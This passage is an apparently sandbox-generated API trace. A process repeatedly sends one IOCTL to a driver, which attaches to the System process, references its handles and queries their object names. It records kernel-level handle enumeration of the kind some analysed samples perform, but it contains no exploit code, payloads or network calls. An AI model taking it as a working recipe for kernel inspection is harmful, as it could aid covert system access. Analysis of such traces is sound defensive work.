lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0129.969] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.969] PsAcquireProcessExitSynchronization () returned 0x0 [0129.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.969] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0129.969] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.969] PsReleaseProcessExitSynchronization () returned 0x2 [0129.969] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0129.969] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0129.969] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.969] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.970] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.970] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.970] PsAcquireProcessExitSynchronization () returned 0x0 [0129.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.970] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0129.970] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.970] PsReleaseProcessExitSynchronization () returned 0x2 [0129.970] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.970] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.970] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0129.970] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.970] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.970] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0129.970] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.970] PsAcquireProcessExitSynchronization () returned 0x0 [0129.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.970] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0129.970] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.970] PsReleaseProcessExitSynchronization () returned 0x2 [0129.970] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.970] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.970] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0129.970] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.970] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.970] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.970] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.970] PsAcquireProcessExitSynchronization () returned 0x0 [0129.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.970] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0129.970] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.971] PsReleaseProcessExitSynchronization () returned 0x2 [0129.971] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.971] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.971] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0129.971] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.971] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.971] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.971] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.971] PsAcquireProcessExitSynchronization () returned 0x0 [0129.971] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.971] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0129.971] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.971] PsReleaseProcessExitSynchronization () returned 0x2 [0129.971] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.971] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.971] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0129.971] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.971] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.971] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.971] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.971] PsAcquireProcessExitSynchronization () returned 0x0 [0129.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0129.972] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.972] PsReleaseProcessExitSynchronization () returned 0x2 [0129.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.972] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.972] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0129.972] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.972] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.972] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.972] PsAcquireProcessExitSynchronization () returned 0x0 [0129.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0129.972] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.972] PsReleaseProcessExitSynchronization () returned 0x2 [0129.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.972] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.972] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0129.972] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.972] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.972] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0129.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.972] PsAcquireProcessExitSynchronization () returned 0x0 [0129.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0129.972] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.972] PsReleaseProcessExitSynchronization () returned 0x2 [0129.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.973] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.973] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0129.973] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.973] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.973] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0129.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.973] PsAcquireProcessExitSynchronization () returned 0x0 [0129.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.973] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0129.973] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.973] PsReleaseProcessExitSynchronization () returned 0x2 [0129.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.973] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.973] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0129.973] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.973] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.973] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0129.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.973] PsAcquireProcessExitSynchronization () returned 0x0 [0129.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.973] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0129.973] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.974] PsReleaseProcessExitSynchronization () returned 0x2 [0129.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.974] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.974] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0129.974] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.974] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0129.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.974] PsAcquireProcessExitSynchronization () returned 0x0 [0129.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.974] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0129.974] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.974] PsReleaseProcessExitSynchronization () returned 0x2 [0129.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.974] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.974] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0129.974] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.974] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.974] PsAcquireProcessExitSynchronization () returned 0x0 [0129.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.974] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0129.974] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.974] PsReleaseProcessExitSynchronization () returned 0x2 [0129.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.974] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.975] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0129.975] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.975] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.975] PsAcquireProcessExitSynchronization () returned 0x0 [0129.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.975] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0129.975] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.975] PsReleaseProcessExitSynchronization () returned 0x2 [0129.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.975] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0129.975] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.975] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.975] PsAcquireProcessExitSynchronization () returned 0x0 [0129.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.975] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0129.975] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.975] PsReleaseProcessExitSynchronization () returned 0x2 [0129.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.975] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0129.975] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.975] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.975] PsAcquireProcessExitSynchronization () returned 0x0 [0129.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.976] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0129.976] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.976] PsReleaseProcessExitSynchronization () returned 0x2 [0129.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.976] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.976] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0129.976] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.976] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.976] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0129.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.976] PsAcquireProcessExitSynchronization () returned 0x0 [0129.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.976] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 